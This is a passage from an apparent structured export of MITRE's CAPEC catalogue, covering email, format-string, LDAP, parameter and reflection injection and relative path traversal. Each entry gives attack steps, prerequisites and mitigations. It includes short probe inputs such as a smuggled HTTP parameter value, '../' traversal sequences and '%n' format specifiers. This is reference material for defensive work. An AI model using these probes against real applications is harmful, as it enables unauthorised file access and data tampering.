means.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search via internet for known, published applications that allow option switches.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tools to scan known ports to identify applications that might be accessible</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3712 + Attack_Step_3712 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Authenticate to application] Authenticate to the application, if required, in order to explore it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use published credentials to access system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Find unpublished credentails to access service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use other attack pattern or weakness to bypass authentication.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3720 + Attack_Step_3720 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Try all common switches] Using manual or automated means, attempt to run the application with many different known common switches. Observe the output to see if any switches seemed to put the application in a non production mode that might give more information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually execute the application with switches such as --debug, --test, --development, --verbose, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tools to run the application with common switches and observe the output</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3727 + Attack_Step_3727 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use sensitive processing or configuration information] Once extra information is observed from an application through the use of a common switch, this information is used to aid other attacks on the application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using application information, formulate an attack on the application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to control the options or switches sent to the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. The only requirement is the ability to send requests to the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Minimize switch and option functionality to only that necessary for correct function of the command.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Remove all debug and testing options from production code.</xhtml:div> + + + + + 912 + + + + + + + + + + + + #indContentHistoryContentHistory3747 + Content_History_3747 + + + + + + + + + + + + + + + + #indSubmissionSubmission3748 + Submission_3748 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3753 + Modification_3753 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3759 + Modification_3759 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification3765 + Modification_3765 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification3771 + Modification_3771 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3777 + Modification_3777 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification3783 + Modification_3783 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName3789 + Previous_Entry_Name_3789 + + + + + + + + + 2015-12-07 + + + + + Try All Common Application Switches and Options + + + + + + + + + + + + #CAPEC-134 + Email Injection + + + + + + + + + 134 + + + + + Email Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates the headers and content of an email message by injecting data via the use of delimiter characters native to the protocol.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Many applications allow users to send email messages by filling in fields. For example, a web site may have a link to "share this site with a friend" where the user provides the recipient's email address and the web application fills out all the other fields, such as the subject and body. In this pattern, an adversary adds header and body information to an email message by injecting additional content in an input field used to construct a header of the mail message. This attack takes advantage of the fact that RFC 822 requires that headers in a mail message be separated by a carriage return. As a result, an adversary can inject new headers or content simply by adding a delimiting carriage return and then supplying the new heading and body information. This attack will not work if the user can only supply the message body since a carriage return in the body is treated as a normal character.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3799 + Related_Attack_Pattern_3799 + + + + + + + + + + + + + + 137 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must allow the user to send email to some recipient, to specify the content at least one header field in the message, and must fail to sanitize against the injection of command separators.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to access the target mail application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 150 + + + + + + + + + + + + #indTaxonomyMappingMailCommandInjection + Mail Command Injection + + + + + + + + + + + + + + 30 + + + + + Mail Command Injection + + + + + + + + + + + + #indContentHistoryContentHistory3819 + Content_History_3819 + + + + + + + + + + + + + + + + #indSubmissionSubmission3820 + Submission_3820 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3825 + Modification_3825 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification3831 + Modification_3831 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification3837 + Modification_3837 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3843 + Modification_3843 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3849 + Modification_3849 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-135 + Format String Injection + + + + + + + + + 135 + + + + + Format String Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary includes formatting characters in a string input field on the target application. Most applications assume that users will provide static text and may respond unpredictably to the presence of formatting character. For example, in certain functions of the C programming languages such as printf, the formatting character %s will print the contents of a memory location expecting this location to identify a string and the formatting character %n prints the number of DWORD written in the memory. An adversary can use this to read or write to memory locations or files, or simply to manipulate the value of the resulting text in unexpected ways. Reading or writing memory may result in program crashes and writing memory could result in the execution of arbitrary code if the adversary can write to the program stack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3862 + Related_Attack_Pattern_3862 + + + + + + + + + + + + + + 137 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep3867 + Attack_Step_3867 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] The adversary takes an inventory of the entry points of the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider web sites for all available links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">List parameters, external variables, configuration files variables, etc. that are possibly used by the application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3874 + Attack_Step_3874 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine user-controllable input susceptible to format string injection] Determine the user-controllable input susceptible to format string injection. For each user-controllable input that the adversary suspects is vulnerable to format string injection, attempt to inject formatting characters such as %n, %s, etc.. The goal is to manipulate the string creation using these formatting characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject probe payload which contains formatting characters (%s, %d, %n, etc.) through input parameters.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3880 + Attack_Step_3880 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Try to exploit the Format String Injection vulnerability] After determining that a given input is vulnerable to format string injection, hypothesize what the underlying usage looks like and the associated constraints.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insert various formatting characters to read or write the memory, e.g. overwrite return address, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must accept a strings as user input, fail to sanitize string formatting characters in the user input, and process this string using functions that interpret string formatting characters.</xhtml:div> + + + + + + + + + + + + #indSkillSkill3891 + Skill_3891 + + + + + + + + + + + + + + In order to discover format string vulnerabilities it takes only low skill, however, converting this discovery into a working exploit requires advanced knowledge on the part of the adversary. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3897 + Consequence_3897 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3901 + Consequence_3901 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3905 + Consequence_3905 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3909 + Consequence_3909 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3914 + Consequence_3914 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit the usage of formatting string functions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal formatting characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a "../po" directory, which can be leveraged to conduct format string attacks. See also: CVE-2007-2027</xhtml:div> + + + + + 134 + + + + + 20 + + + + + 74 + + + + + + + + + + + + #indTaxonomyMappingFormatStringAttack + Format string attack + + + + + + + + + + + + + + Format string attack + + + + + + + + + + + + #indReferenceReference3937 + Reference_3937 + + + + + + + + + REF-14 + + + + + + + + + + + + #indReferenceReference3938 + Reference_3938 + + + + + + + + + REF-15 + + + + + WASC-06 - Format String + + + + + + + + + + + + #indReferenceReference3939 + Reference_3939 + + + + + + + + + REF-616 + + + + + Testing for Format String Injection + + + + + + + + + + + + #indContentHistoryContentHistory3941 + Content_History_3941 + + + + + + + + + + + + + + + + #indSubmissionSubmission3942 + Submission_3942 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3947 + Modification_3947 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attacker_Skills_or_Knowledge_Required, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification3953 + Modification_3953 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification3959 + Modification_3959 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification3965 + Modification_3965 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3971 + Modification_3971 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3977 + Modification_3977 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-136 + LDAP Injection + + + + + + + + + 136 + + + + + LDAP Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3990 + Related_Attack_Pattern_3990 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep3993 + Attack_Step_3993 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] The attacker takes an inventory of the entry points of the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider web sites for all available links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sniff network communications with application using a utility such as WireShark.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4000 + Attack_Step_4000 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine user-controllable input susceptible to LDAP injection] For each user-controllable input that the attacker suspects is vulnerable to LDAP injection, attempt to inject characters that have special meaning in LDAP (such as a single quote character, etc.). The goal is to create a LDAP query with an invalid syntax</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use web browser to inject input through text fields or through HTTP GET parameters</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, or other HTTP header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use modified client (modified by reverse engineering) to inject input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4008 + Attack_Step_4008 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Try to exploit the LDAP injection vulnerability] After determining that a given input is vulnerable to LDAP Injection, hypothesize what the underlying query looks like. Possibly using a tool, iteratively try to add logic to the query to extract information from the LDAP, or to modify or delete information in the LDAP.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add logic to the LDAP query to change the meaning of that command. Automated tools could be used to generate the LDAP injection strings.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, or other HTTP header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must accept a string as user input, fail to sanitize characters that have a special meaning in LDAP queries in the user input, and insert the user-supplied string in an LDAP query which is then processed.</xhtml:div> + + + + + + + + + + + + #indSkillSkill4020 + Skill_4020 + + + + + + + + + + + + + + The attacker needs to have knowledge of LDAP, especially its query syntax. + + + + + + + + + + + + #indConsequenceConsequence4023 + Consequence_4023 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4027 + Consequence_4027 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4031 + Consequence_4031 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4035 + Consequence_4035 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence4040 + Consequence_4040 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4047 + Consequence_4047 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as LDAP content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the LDAP or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">PowerDNS before 2.9.18, when running with an LDAP backend, does not properly escape LDAP queries, which allows remote attackers to cause a denial of service (failure to answer ldap questions) and possibly conduct an LDAP injection attack. See also: CVE-2005-2301</xhtml:div> + + + + + 77 + + + + + 90 + + + + + 20 + + + + + + + + + + + + #indTaxonomyMappingLDAPInjection + LDAP Injection + + + + + + + + + + + + + + 29 + + + + + LDAP Injection + + + + + + + + + + + + #indTaxonomyMappingLDAPInjection + LDAP Injection + + + + + + + + + + + + + + LDAP Injection + + + + + + + + + + + + #indReferenceReference4075 + Reference_4075 + + + + + + + + + REF-17 + + + + + WASC-29 - LDAP Injection + + + + + + + + + + + + #indReferenceReference4076 + Reference_4076 + + + + + + + + + REF-608 + + + + + Testing for LDAP Injection + + + + + + + + + + + + #indContentHistoryContentHistory4078 + Content_History_4078 + + + + + + + + + + + + + + + + #indSubmissionSubmission4079 + Submission_4079 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4084 + Modification_4084 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification4090 + Modification_4090 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification4096 + Modification_4096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-137 + Parameter Injection + + + + + + + + + 137 + + + + + Parameter Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&amp;). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&amp;new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must use a parameter encoding where separators and parameter identifiers are expressed in regular text.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must accept a string as user input, fail to sanitize characters that have a special meaning in the parameter encoding, and insert the user-supplied string in an encoding which is then processed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. The only requirement is the ability to provide string input to the target.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence4116 + Consequence_4116 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Successful parameter injection attacks mean a compromise to integrity of the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an audit log written to a separate host. In the event of a compromise, the audit log may be able to provide evidence and details of the compromise.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Treat all user input as untrusted data that must be validated before use.</xhtml:div> + + + + + 88 + + + + + + + + + + + + #indContentHistoryContentHistory4129 + Content_History_4129 + + + + + + + + + + + + + + + + #indSubmissionSubmission4130 + Submission_4130 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4135 + Modification_4135 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification4141 + Modification_4141 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification4147 + Modification_4147 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Description, Related_Weaknesses + + + + + + + + + + + + #CAPEC-138 + Reflection Injection + + + + + + + + + 138 + + + + + Reflection Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4159 + Related_Attack_Pattern_4159 + + + + + + + + + + + + + + 137 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must utilize reflection libraries and allow users to directly control the parameters to these methods. If the adversary can host classes where the target can invoke them, more powerful variants of this attack are possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must accept a string as user input, fail to sanitize characters that have a special meaning in the parameter encoding, and insert the user-supplied string in an encoding which is then processed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 470 + + + + + + + + + + + + #indContentHistoryContentHistory4173 + Content_History_4173 + + + + + + + + + + + + + + + + #indSubmissionSubmission4174 + Submission_4174 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4179 + Modification_4179 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification4185 + Modification_4185 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Prerequisites + + + + + + + + + + + + #indModificationModification4191 + Modification_4191 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4197 + Modification_4197 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-139 + Relative Path Traversal + + + + + + + + + 139 + + + + + Relative Path Traversal + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \\) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4210 + Related_Attack_Pattern_4210 + + + + + + + + + + + + + + 126 + + + + + + + + + + + + #indAttackStepAttackStep4213 + Attack_Step_4213 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Fingerprinting of the operating system] In order to perform a valid path traversal, the adversary needs to know what the underlying OS is so that the proper file seperator is used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP/IP Fingerprinting. The adversary uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce errors to find informative error messages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4221 + Attack_Step_4221 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] Using manual or automated means, an adversary will survey the target application looking for all areas where user input is taken to specify a file name or path.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links on a web page. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of a web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore a website and analyze how it is constructed. Many browser plug-ins are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4229 + Attack_Step_4229 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt variations on input parameters] Using manual or automated means, an adversary attempts varying relative file path combinations on all found user input locations and observes the responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Provide "../" or "..\\" at the beginning of any filename to traverse to the parent directory</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of probe strings as path traversal payload. Different strings may be used for different platforms. Strings contain relative path sequences such as "../".</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of relative path traversal probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4237 + Attack_Step_4237 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Access, modify, or execute arbitrary files.] An adversary injects path traversal syntax into identified vulnerable inputs to cause inappropriate reading, writing or execution of files. An adversary could be able to read directories or files which they are normally not allowed to read. The adversary could also access data outside the web document root, or include scripts, source code and other kinds of files from external websites. Once the adversary accesses arbitrary files, they could also modify files. In particular situations, the adversary could also execute arbitrary code or system commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulate file and its path by injecting relative path sequences (e.g. "../").</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Download files, modify files, or try to execute shell commands (with binary files).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must accept a string as user input, fail to sanitize combinations of characters in the input that have a special meaning in the context of path navigation, and insert the user-supplied string into path navigation commands.</xhtml:div> + + + + + + + + + + + + #indSkillSkill4249 + Skill_4249 + + + + + + + + + + + + + + To inject the malicious payload in a web page + + + + + + + + + + + + #indSkillSkill4250 + Skill_4250 + + + + + + + + + + + + + + To bypass non trivial filters in the application + + + + + + + + + + + + #indConsequenceConsequence4253 + Consequence_4253 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4257 + Consequence_4257 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4261 + Consequence_4261 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence4268 + Consequence_4268 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4272 + Consequence_4272 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement</xhtml:div> + + + + + <xhtml:div 